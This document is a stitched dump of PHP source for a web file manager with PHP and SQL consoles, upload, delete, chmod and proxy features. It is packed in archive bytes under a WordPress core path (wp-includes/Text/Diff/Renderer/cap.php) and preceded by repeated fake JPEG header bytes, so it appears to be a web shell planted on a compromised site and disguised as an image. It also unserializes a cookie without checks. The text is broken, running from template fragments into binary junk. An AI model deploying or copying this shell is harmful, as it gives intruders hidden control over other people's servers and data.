<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
